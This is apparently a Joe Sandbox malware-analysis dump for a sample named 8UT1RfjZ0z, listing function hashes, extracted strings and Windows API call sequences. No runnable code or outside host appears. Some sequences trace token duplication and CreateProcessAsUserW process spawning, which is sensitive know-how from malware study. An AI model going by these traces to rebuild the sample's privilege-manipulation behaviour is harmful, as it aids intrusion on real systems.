0x00434723
0x00434727
0x0043472b
0x0043472d
0x00434733
0x00434736
0x0043473a
0x0043473a
0x00000000
0x0043472d
0x00434712
0x00434715
0x00434719
0x0043471d
0x00000000
0x00000000
0x00000000
0x0043471d
0x004346f1
0x004346f4
0x004346f8
0x004346fc
0x00000000
0x00000000
0x00000000
0x004346fc
0x004346d0
0x004346d3
0x004346d7
0x004346db
0x00000000
0x00000000
0x00000000
0x00000000
0x00433a1d
0x00433a1d
0x00433a23
0x00433aa2
0x00433aa4
0x00433aa6
0x00000000
0x00000000
0x00000000
0x00433aa6
0x00433a25
0x00433a28
0x00433a2c
0x00433a2e
0x00433a45
0x00433a45
0x00433a49
0x00433a4d
0x00433a4f
0x00433a66
0x00433a66
0x00433a6a
0x00433a6e
0x00433a70
0x00433a87
0x00433a87
0x00433a8b
0x00433a8f
0x00433a91
0x00433a97
0x00433a9a
0x00433a9e
0x00433a9e
0x00000000
0x00433a91
0x00433a76
0x00433a79
0x00433a7d
0x00433a81
0x00000000
0x00000000
0x00000000
0x00433a81
0x00433a55
0x00433a58
0x00433a5c
0x00433a60
0x00000000
0x00000000
0x00000000
0x00433a60
0x00433a34
0x00433a37
0x00433a3b
0x00433a3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00433dfd
0x00433dfd
0x00433e03
0x00433e82
0x00433e84
0x00433e86
0x00000000
0x00000000
0x00000000
0x00433e86
0x00433e05
0x00433e08
0x00433e0c
0x00433e0e
0x00433e25
0x00433e25
0x00433e29
0x00433e2d
0x00433e2f
0x00433e46
0x00433e46
0x00433e4a
0x00433e4e
0x00433e50
0x00433e67
0x00433e67
0x00433e6b
0x00433e6f
0x00433e71
0x00433e77
0x00433e7a
0x00433e7e
0x00433e7e
0x00000000
0x00433e71
0x00433e56
0x00433e59
0x00433e5d
0x00433e61
0x00000000
0x00000000
0x00000000
0x00433e61
0x00433e35
0x00433e38
0x00433e3c
0x00433e40
0x00000000
0x00000000
0x00000000
0x00433e40
0x00433e14
0x00433e17
0x00433e1b
0x00433e1f
0x00000000
0x00000000
0x00000000
0x00000000
0x00434209
0x00434209
0x0043420f
0x0043428e
0x00434290
0x00434292
0x00000000
0x00000000
0x00000000
0x00434292
0x00434211
0x00434214
0x00434218
0x0043421a
0x00434231
0x00434231
0x00434235
0x00434239
0x0043423b
0x00434252
0x00434252
0x00434256
0x0043425a
0x0043425c
0x00434273
0x00434273
0x00434277
0x0043427b
0x0043427d
0x00434283
0x00434286
0x0043428a
0x0043428a
0x00000000
0x0043427d
0x00434262
0x00434265
0x00434269
0x0043426d
0x00000000
0x00000000
0x00000000
0x0043426d
0x00434241
0x00434244
0x00434248
0x0043424c
0x00000000
0x00000000
0x00000000
0x0043424c
0x00434220
0x00434223
0x00434227
0x0043422b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043462a
0x0043462a
0x00434630
0x004346af
0x004346b1
0x004346b3
0x00000000
0x00000000
0x00000000
0x004346b3
0x00434632
0x00434635
0x00434639
0x0043463b
0x00434652
0x00434652
0x00434656
0x0043465a
0x0043465c
0x00434673
0x00434673
0x00434677
0x0043467b
0x0043467d
0x00434694
0x00434694
0x00434698
0x0043469c
0x0043469e
0x004346a4
0x004346a7
0x004346ab
0x004346ab
0x00000000
0x0043469e
0x00434683
0x00434686
0x0043468a
0x0043468e
0x00000000
0x00000000
0x00000000
0x0043468e
0x00434662
0x00434665
0x00434669
0x0043466d
0x00000000
0x00000000
0x00000000
0x0043466d
0x00434641
0x00434644
0x00434648
0x0043464c
0x00000000
0x00000000
0x00000000
0x00000000
0x0043399a
0x004339a0
0x00433a13
0x00433a15
0x00433a17
0x00000000
0x00000000
0x00000000
0x00433a17
0x004339a2
0x004339a5
0x004339a9
0x004339ab
0x004339be
0x004339be
0x004339c2
0x004339c6
0x004339c8
0x004339db
0x004339db
0x004339df
0x004339e3
0x004339e5
0x004339f8
0x004339f8
0x004339fc
0x00433a00
0x00433a02
0x00433a08
0x00433a0b
0x00433a0f
0x00433a0f
0x00000000
0x00433a02
0x004339eb
0x004339ee
0x004339f2
0x004339f6
0x00000000
0x00000000
0x00000000
0x004339f6
0x004339ce
0x004339d1
0x004339d5
0x004339d9
0x00000000
0x00000000
0x00000000
0x004339d9
0x004339b1
0x004339b4
0x004339b8
0x004339bc
0x00000000
0x00000000
0x00000000
0x00000000
0x00433d6e
0x00433d74
0x00433df3
0x00433df5
0x00433df7
0x00000000
0x00000000
0x00000000
0x00433df7
0x00433d76
0x00433d79
0x00433d7d
0x00433d7f
0x00433d96
0x00433d96
0x00433d9a
0x00433d9e
0x00433da0
0x00433db7
0x00433db7
0x00433dbb
0x00433dbf
0x00433dc1
0x00433dd8
0x00433dd8
0x00433ddc
0x00433de0
0x00433de2
0x00433de8
0x00433deb
0x00433def
0x00433def
0x00000000
0x00433de2
0x00433dc7
0x00433dca
0x00433dce
0x00433dd2
0x00000000
0x00000000
0x00000000
0x00433dd2
0x00433da6
0x00433da9
0x00433dad
0x00433db1
0x00000000
0x00000000
0x00000000
0x00433db1
0x00433d85
0x00433d88
0x00433d8c
0x00433d90
0x00000000
0x00000000
0x00000000
0x00000000
0x0043417a
0x00434180
0x004341ff
0x00434201
0x00434203
0x00000000
0x00000000
0x00000000
0x00434203
0x00434182
0x00434185
0x00434189
0x0043418b
0x004341a2
0x004341a2
0x004341a6
0x004341aa
0x004341ac
0x004341c3
0x004341c3
0x004341c7
0x004341cb
0x004341cd
0x004341e4
0x004341e4
0x004341e8
0x004341ec
0x004341ee
0x004341f4
0x004341f7
0x004341fb
0x004341fb
0x00000000
0x004341ee
0x004341d3
0x004341d6
0x004341da
0x004341de
0x00000000
0x00000000
0x00000000
0x004341de
0x004341b2
0x004341b5
0x004341b9
0x004341bd
0x00000000
0x00000000
0x00000000
0x004341bd
0x00434191
0x00434194
0x00434198
0x0043419c
0x00000000
0x00000000
0x00000000
0x00000000
0x0043459a
0x004345a0
0x00434620
0x00434622
0x00434624
0x00000000
0x00000000
0x00000000
0x00434624
0x004345a2
0x004345a6
0x004345aa
0x004345ac
0x004345c3
0x004345c3
0x004345c7
0x004345cb
0x004345cd
0x004345e4
0x004345e4
0x004345e8
0x004345ec
0x004345ee
0x00434605
0x00434605
0x00434609
0x0043460d
0x0043460f
0x00434615
0x00434618
0x0043461c
0x0043461c
0x00000000
0x0043460f
0x004345f4
0x004345f7
0x004345fb
0x004345ff
0x00000000
0x00000000
0x00000000
0x004345ff
0x004345d3
0x004345d6
0x004345da
0x004345de
0x00000000
0x00000000
0x00000000
0x004345de
0x004345b2
0x004345b5
0x004345b9
0x004345bd
0x00000000
0x00000000
0x00000000
0x00000000
0x0043398c

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e22eac8561b11c7c515d1aabb45ffbd72cd1bf96155371f0ba62e8ed1b367d4
Instruction ID: b30951a0000ed918ec9d64051d8b866f485c247b3d97141d2ebcadbf5cbb5de0
Opcode Fuzzy Hash: 3e22eac8561b11c7c515d1aabb45ffbd72cd1bf96155371f0ba62e8ed1b367d4
Instruction Fuzzy Hash: 6C02B473D497B38B87714EB940D062B7BA05E0965270F97EADCC03F386C25ADE0986E4

Function 004334C7, Relevance: .5, Instructions: 527

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e22eac8561b11c7c515d1aabb45ffbd72cd1bf96155371f0ba62e8ed1b367d4
Instruction ID: b30951a0000ed918ec9d64051d8b866f485c247b3d97141d2ebcadbf5cbb5de0
Opcode Fuzzy Hash: 3e22eac8561b11c7c515d1aabb45ffbd72cd1bf96155371f0ba62e8ed1b367d4
Instruction Fuzzy Hash: 6C02B473D497B38B87714EB940D062B7BA05E0965270F97EADCC03F386C25ADE0986E4

Function 0043459A, Relevance: .4, Instructions: 384

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: ce5c544775110a88092e19ed5d740583a400574dc115ca620a706fe0f3f50ecc
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: D5D18FB3C0E9B34A8735852D405827FEF626FD964571FD7E28CE02F389D26A6E0096D4

Function 0043417A, Relevance: .4, Instructions: 378

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 5885e3c2318eb5a0a16b685b5b88b3218de5bebaba27ee1aaa7023e5fd0bb303
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 13D1BFB3C0E9B34A8735852D409827FEB626FD974571ED7E29CE03F389C16A6D0086D4

Function 00433D6E, Relevance: .4, Instructions: 361

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 45a3ea1834e2d42b042baf52df3a3b97a9cb18fd3eacedfe26ca2fad9461bfd0
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 5BC19FB3D0E9B34A8735892D409822FEF626FD975271FD7E29CD03F389816A5E0095D4

Function 0043399A, Relevance: .4, Instructions: 351

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 4fb68cf6fa3859235f86ad2471d1fa28fb637f8dc37848438e23da599975d9cd
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 64C1A173D0E9B34A8735892D405822FEF626FC9B4271EE7E29CE43F389D16A5E0095D4

Function 004106C0, Relevance: .1, Instructions: 113

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf5dcaec577c53acf44887b0abb8887dfa11994abd27b7fcdcac3316cecc0e8
Instruction ID: dfeb81fde1de471d318670c44a447bc8b183baeacb5fb1bb3aeebb1bbad39b61
Opcode Fuzzy Hash: baf5dcaec577c53acf44887b0abb8887dfa11994abd27b7fcdcac3316cecc0e8
Instruction Fuzzy Hash: 59512D70E04109EFDB08CF98D59069DBBB2FB88310F6482A9D956AB394CB356F51DF48

Function 002304C1, Relevance: .0, Instructions: 31

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce7bfd6ed5bd9d3bbe075db932683da274a12c07a69b3418c13cec2e7b8a6cde
Instruction ID: e7087aa781cb857ec14bd587504166e36835b0a7c738fdf1254470689b1cc0a9
Opcode Fuzzy Hash: ce7bfd6ed5bd9d3bbe075db932683da274a12c07a69b3418c13cec2e7b8a6cde
Instruction Fuzzy Hash: 68F05EB5A2010B8BDB54CF14C0A0B6AF3A2FB94314FA48294C9452B306D670EEA6CBD0

Function 004073E0, Relevance: 164.9, APIs: 21, Strings: 73, Instructions: 382memory

APIs

GetProcessHeap.KERNEL32(00000008,00000208,004290C8), ref: 004073F9
HeapAlloc.KERNEL32(00000000), ref: 00407400
GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040741A
HeapAlloc.KERNEL32(00000000), ref: 00407421
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00407475
OpenProcessToken.ADVAPI32(00000000,00020008,00000000,00000018), ref: 0040757F

Part of subcall function 00407DE0: LoadLibraryA.KERNEL32(00000000), ref: 00407EAB
Part of subcall function 00407DE0: GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 00407EC3
Part of subcall function 00407DE0: FreeLibrary.KERNEL32(00000000), ref: 00407F0C

GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,0000000D), ref: 0040770C
GetLastError.KERNEL32 ref: 00407712
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00407727
HeapAlloc.KERNEL32(00000000), ref: 0040772E
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407753
LookupAccountSidW.ADVAPI32(00000000,00000104,00000000,00000104,00000000,00000104,?), ref: 00407786
wsprintfW.USER32 ref: 00407932
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407956
HeapFree.KERNEL32(00000000), ref: 0040795D
CloseHandle.KERNEL32(00000000), ref: 00407972

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

CloseHandle.KERNEL32(00000000), ref: 00407987
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040799E
HeapFree.KERNEL32(00000000), ref: 004079A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004079B1
HeapFree.KERNEL32(00000000), ref: 004079B8

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Strings

J, xrefs: 00407827
,, xrefs: 004074F8
<, xrefs: 0040782E
&, xrefs: 00407866
-, xrefs: 004074E0
(, xrefs: 00407593
&, xrefs: 004078D5
z, xrefs: 00407890
', xrefs: 004074F0
D, xrefs: 00407678
9, xrefs: 0040765C
J, xrefs: 00407851
8, xrefs: 004075BB
[, xrefs: 004074EC
p, xrefs: 004075AB
C, xrefs: 004075C3
/, xrefs: 004074D0
I, xrefs: 004077B7
-, xrefs: 004074C8
", xrefs: 004074C0
0, xrefs: 004074CC
U, xrefs: 004074D4
q, xrefs: 004075AF
I, xrefs: 0040780B
C, xrefs: 00407660
zIeJOI, xrefs: 004078FA
4, xrefs: 004077E8
}, xrefs: 004074BC
8, xrefs: 004074D8
I, xrefs: 00407889
&, xrefs: 0040783C
I, xrefs: 00407897
J, xrefs: 004077A9
I, xrefs: 004077EF
I, xrefs: 0040785F
J, xrefs: 004077D3
@, xrefs: 00407820
=, xrefs: 00407658
1, xrefs: 004075A3
kP1rHl, xrefs: 004076E5
_, xrefs: 004077F6
), xrefs: 00407794
, xrefs: 004077A2
;, xrefs: 004074B8
u{@, xrefs: 004078CC, 004078EF, 004078E4, 00407902
&, xrefs: 00407597
I, xrefs: 00407843
I, xrefs: 00407819
B4LaBB, xrefs: 00407559
I, xrefs: 0040786D
@, xrefs: 00407874
,, xrefs: 004077CC
I, xrefs: 004077C5
CCbkTy, xrefs: 00407620
I, xrefs: 0040779B
k, xrefs: 00407688
<, xrefs: 00407858
:, xrefs: 00407680
,, xrefs: 004074E4
J, xrefs: 004077FD
+, xrefs: 00407882
J, xrefs: 0040787B
@, xrefs: 0040784A
0, xrefs: 004074B4
', xrefs: 004074B0
=, xrefs: 00407668
), xrefs: 004077BE
&, xrefs: 00407812
B, xrefs: 004074FC
C, xrefs: 004074A4
L, xrefs: 004075B3
I, xrefs: 004077E1
I, xrefs: 00407835

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Alloc$Token$CloseHandleInformationLibraryOpen$AccountAddressErrorLastLoadLookupProcwsprintf
String ID: $"$&$&$&$&$&$'$'$($)$)$+$,$,$,$-$-$/$0$0$1$4$8$8$9$:$;$<$<$=$=$@$@$@$B$B4LaBB$C$C$C$CCbkTy$D$I$I$I$I$I$I$I$I$I$I$I$I$I$J$J$J$J$J$J$L$U$[$_$k$kP1rHl$p$q$u{@$z$zIeJOI$}
API String ID: 3334928335-476559620
Opcode ID: 73890feede4fd504526e42642a95ae44491dca5b9a24b4c7a7decdd1753639cc
Instruction ID: 391c713fe487406729e1818253c7363f6a6c55dcba1ad56e855d5bdcec7ab097
Opcode Fuzzy Hash: 73890feede4fd504526e42642a95ae44491dca5b9a24b4c7a7decdd1753639cc
Instruction Fuzzy Hash: 9E123270D082D8DEEB11C7A8D858BDEBFB56F16308F1440D9D1897B2C2C7B91A49CB66

Function 00418710, Relevance: 161.3, APIs: 19, Strings: 73, Instructions: 273memorystring

APIs

lstrlenW.KERNEL32(00416A05), ref: 00418728
GetProcessHeap.KERNEL32(00000008,?), ref: 00418752
HeapAlloc.KERNEL32(00000000), ref: 00418759
GetProcessHeap.KERNEL32(00000008,?), ref: 00418779
HeapAlloc.KERNEL32(00000000), ref: 00418780
lstrcpyW.KERNEL32(00000000,00000000), ref: 0041879B

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetTickCount.KERNEL32(00000020), ref: 0041886D
wsprintfW.USER32 ref: 00418884
wsprintfW.USER32 ref: 0041889A
GetProcessHeap.KERNEL32(00000008,00000104), ref: 004188AA
HeapAlloc.KERNEL32(00000000), ref: 004188B1
GetTickCount.KERNEL32 ref: 004188C4
wsprintfA.USER32 ref: 00418A63
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418A9B
HeapFree.KERNEL32(00000000), ref: 00418AA2
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AB6
HeapFree.KERNEL32(00000000), ref: 00418ABD

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AD4
HeapFree.KERNEL32(00000000), ref: 00418ADB

Strings

LSEdN2, xrefs: 00418A32
G, xrefs: 0041892C
l, xrefs: 00418900
s, xrefs: 0041897C
[, xrefs: 0041895C
', xrefs: 004188D4
A, xrefs: 00418974
l, xrefs: 004189C0
Z, xrefs: 004187EF
T, xrefs: 004189CC
C, xrefs: 004189D0
", xrefs: 00418940
"%s", xrefs: 00418891
D, xrefs: 0041890C
^, xrefs: 0041891C
n, xrefs: 004189A0
-, xrefs: 004188D0
-, xrefs: 00418908
C, xrefs: 00418A10
+, xrefs: 00418990
A, xrefs: 004188FC
`, xrefs: 00418980
*, xrefs: 004187C3
l, xrefs: 004188E8
, xrefs: 00418968
^, xrefs: 004189AC
$, xrefs: 004187DB
k, xrefs: 00418910
k, xrefs: 00418928
6, xrefs: 004187CF
*, xrefs: 00418960
D, xrefs: 00418958
`, xrefs: 004189C8
Y, xrefs: 00418934
i, xrefs: 00418954
8, xrefs: 00418978
8, xrefs: 004189D4
A, xrefs: 00418984
Z, xrefs: 004187D7
6, xrefs: 004187E7
T, xrefs: 004187C7
i, xrefs: 00418948
}, xrefs: 00418918
1, xrefs: 00418998
^, xrefs: 00418924
!, xrefs: 00418938
', xrefs: 00418970
~, xrefs: 00418904
^, xrefs: 004189BC
Z, xrefs: 004187BF
c, xrefs: 004188F8
A, xrefs: 00418930
F, xrefs: 004187F3
', xrefs: 004188E0
t, xrefs: 00418950
~, xrefs: 004188EC
9, xrefs: 004189A8
+, xrefs: 004189B8
v, xrefs: 0041894C
1, xrefs: 004188D8
v, xrefs: 004189C4
<, xrefs: 00418994
T, xrefs: 004187F7
2ZFTi6, xrefs: 00418854
L, xrefs: 004189D8
D, xrefs: 004188F4
T, xrefs: 004187DF
P, xrefs: 004188E4
O, xrefs: 00418920
O, xrefs: 004189B0
7, xrefs: 004188F0
s, xrefs: 00418964
F, xrefs: 004187EB

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$wsprintf$CountTick$lstrcpylstrlen
String ID: $!$"$"%s"$$$'$'$'$*$*$+$+$-$-$1$1$2ZFTi6$6$6$7$8$8$9$<$A$A$A$A$C$C$D$D$D$F$F$G$L$LSEdN2$O$O$P$T$T$T$T$Y$Z$Z$Z$[$^$^$^$^$`$`$c$i$i$k$k$l$l$l$n$s$s$t$v$v$}$~$~
API String ID: 1508892976-2845403070
Opcode ID: d463daac8489e205143bbb6e97621c75deb1d18dc3809bbecbdf16d2d02bbedf
Instruction ID: 8cb387cdfffa969a452b191c8c813115ee3cb35d2a772b0b59f0baf6de8a726d
Opcode Fuzzy Hash: d463daac8489e205143bbb6e97621c75deb1d18dc3809bbecbdf16d2d02bbedf
Instruction Fuzzy Hash: FBD10170D482C8DEEB11D7E8D9487DEBFB56F16308F08409DD5897B282C7BA0949CB66

Function 00407F80, Relevance: 156.2, APIs: 20, Strings: 69, Instructions: 423processmemory

APIs

OpenProcess.KERNEL32(02000000,00000000,?,?), ref: 0040801C

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

ProcessIdToSessionId.KERNEL32(0000000D,00000000,0000000D), ref: 004080E0
OpenProcessToken.ADVAPI32(00000000,000201EB,00000000), ref: 004080FE
DuplicateTokenEx.ADVAPI32(00000000,02000000,00000000,00000001,00000001,00000000,00000000), ref: 00408129
SetTokenInformation.ADVAPI32(00000000,0000000C,00000000,00000004), ref: 00408146
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00004000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408169
GetLengthSid.ADVAPI32(00000000), ref: 0040818A
SetTokenInformation.ADVAPI32(00000000,00000019,?,-00000008), ref: 004081A1
FreeSid.ADVAPI32(00000000), ref: 004081AB
SetTokenInformation.ADVAPI32(00000000,0000001B,00000000,00000004), ref: 004081CA
CreateEnvironmentBlock.USERENV(00000000,00000000,00000001), ref: 004081DA
wsprintfW.USER32 ref: 00408395
CreateProcessAsUserW.ADVAPI32 ref: 00408483
OpenProcessToken.ADVAPI32(00000020,000201EB,?,00000024), ref: 00408559
CloseHandle.KERNEL32(?), ref: 00408576
CloseHandle.KERNEL32(?), ref: 00408583
DestroyEnvironmentBlock.USERENV(00000000,00000024), ref: 00408593
CloseHandle.KERNEL32(00000000), ref: 0040859D
CloseHandle.KERNEL32(00000000), ref: 004085CB
CloseHandle.KERNEL32(00000000), ref: 004085D5

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

r, xrefs: 004082DB
6, xrefs: 004083DA
C, xrefs: 0040805F
E, xrefs: 004083C6
8, xrefs: 00408057
G, xrefs: 004083CE
u, xrefs: 00408256
C, xrefs: 00408210
O, xrefs: 004084A9
7, xrefs: 004083E2
W, xrefs: 004083A2
(, xrefs: 0040802F
q, xrefs: 004082C6
1, xrefs: 0040803F
u, xrefs: 00408280
C, xrefs: 004082B8
3, xrefs: 004084B5
F, xrefs: 004083D6
bW56e7, xrefs: 0040843F
7, xrefs: 00408491
@, xrefs: 0040839E
(, xrefs: 004084B9
p, xrefs: 00408047
L, xrefs: 0040804F
J, xrefs: 004084C5
7, xrefs: 004083B2
, xrefs: 00408173
J, xrefs: 0040849D
C, xrefs: 0040823A
u, xrefs: 004082AA
&, xrefs: 00408217
2, xrefs: 00408489
3, xrefs: 004084C9
q, xrefs: 0040829C
z, xrefs: 004084AD
&, xrefs: 00408033
@, xrefs: 004083B6
CCbkTy, xrefs: 004080BC
u, xrefs: 004082D4
W, xrefs: 004083D2
F, xrefs: 004084A5
q, xrefs: 00408272
), xrefs: 00408295
q, xrefs: 0040804B
e, xrefs: 004083DE
q, xrefs: 0040821E
W, xrefs: 004083BA
B, xrefs: 0040825D
#, xrefs: 004084B1
#, xrefs: 004082BF
7, xrefs: 004083CA
J3F8z, xrefs: 00408526
6, xrefs: 004083C2
F, xrefs: 004084CD
6, xrefs: 004083AA
rCOqeu, xrefs: 00408345
F, xrefs: 004084A1
%s --, xrefs: 00408389
, xrefs: 00408320
8, xrefs: 004084BD
q, xrefs: 00408248
C, xrefs: 0040828E
;, xrefs: 00408241
C, xrefs: 004082E2
u, xrefs: 0040822C
C, xrefs: 00408264
3, xrefs: 0040848D
8, xrefs: 00408495
D, xrefs: 004081FF

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Process$Token$CloseHandle$Heap$InformationOpen$BlockCreateEnvironmentFree$AllocAllocateDestroyDuplicateInitializeLengthSessionUserwsprintf
String ID: $ $#$#$%s --$&$&$($($)$1$2$3$3$3$6$6$6$7$7$7$7$8$8$8$;$@$@$B$C$C$C$C$C$C$C$CCbkTy$D$E$F$F$F$F$G$J$J$J3F8z$L$O$W$W$W$bW56e7$e$p$q$q$q$q$q$q$r$rCOqeu$u$u$u$u$u$z
API String ID: 1325474990-1975384496
Opcode ID: b749eaaf0870a5b35b8ba9c1ccbb8f046de50be5bdda19a973e3c4f67b799826
Instruction ID: 2de67a2e999c1c9b13454ec16a0e97dcbf4ac9679d222662329d9b401d1a6db7
Opcode Fuzzy Hash: b749eaaf0870a5b35b8ba9c1ccbb8f046de50be5bdda19a973e3c4f67b799826
Instruction Fuzzy Hash: EB226170D08298DAEB11CBA8CD58BDEBFB56F15308F0440DDD1897B2C2C7B95A49CB66

Function 00416D90, Relevance: 116.0, APIs: 12, Strings: 54, Instructions: 477memorylibraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000021,0000000A), ref: 00416F6A
GetProcAddress.KERNEL32(00000000,00000000,00000021,0000000A), ref: 00416FA1
GetModuleHandleA.KERNEL32(00000000,00000021,0000000A), ref: 00416FBE
GetProcAddress.KERNEL32(00000000,00000000,00000021,00000021,0000000A), ref: 00417126

Part of subcall function 00418AF0: GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000F), ref: 00418C65
Part of subcall function 00418AF0: GetProcAddress.KERNELBASE(00000000), ref: 00418C6C
Part of subcall function 00418AF0: OpenProcess.KERNELBASE(00000400,00000000,00000000), ref: 00418CA1
Part of subcall function 00418AF0: IsWow64Process.KERNELBASE(00000000,00000000), ref: 00418CB8
Part of subcall function 00418AF0: CloseHandle.KERNEL32(00000000), ref: 00418CD3

GetProcessHeap.KERNEL32(00000008,00000200), ref: 0041718F
HeapAlloc.KERNEL32(00000000), ref: 00417196
GetProcessHeap.KERNEL32(00000008,00000100), ref: 004171B1
HeapAlloc.KERNEL32(00000000), ref: 004171B8

Part of subcall function 00417690: GetCurrentProcessId.KERNEL32 ref: 004176BA
Part of subcall function 00417690: GetModuleHandleA.KERNEL32(00000000,00000000,0000001B,0000000A), ref: 00417854
Part of subcall function 00417690: GetProcAddress.KERNEL32(00000000), ref: 0041785B
Part of subcall function 00417690: CloseHandle.KERNEL32(000000FF), ref: 004178BB

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041743A
HeapFree.KERNEL32(00000000), ref: 00417441
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417453
